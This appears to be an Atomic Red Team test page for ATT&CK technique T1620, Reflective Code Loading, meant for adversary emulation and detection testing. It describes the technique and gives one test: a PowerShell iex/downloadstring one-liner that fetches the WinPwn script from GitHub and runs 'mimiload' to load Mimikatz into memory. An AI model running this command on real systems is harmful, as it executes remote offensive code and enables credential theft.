T1620 - Reflective Code Loading
Description from ATT&CK (opens in a new tab)
Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules (opens in a new tab)).
Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the
Assembly.Load()method executed by PowerShell (opens in a new tab) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)Reflective code injection is very similar to Process Injection (opens in a new tab) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)
Atomic Tests
Atomic Test #1 - WinPwn - Reflectively load Mimik@tz into memory
Reflectively load Mimik@tz into memory technique via function of WinPwn
Supported Platforms: Windows
auto_generated_guid: 56b9589c-9170-4682-8c3d-33b86ecb5119
Attack Commands: Run with powershell!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
mimiload -consoleoutput -noninteractive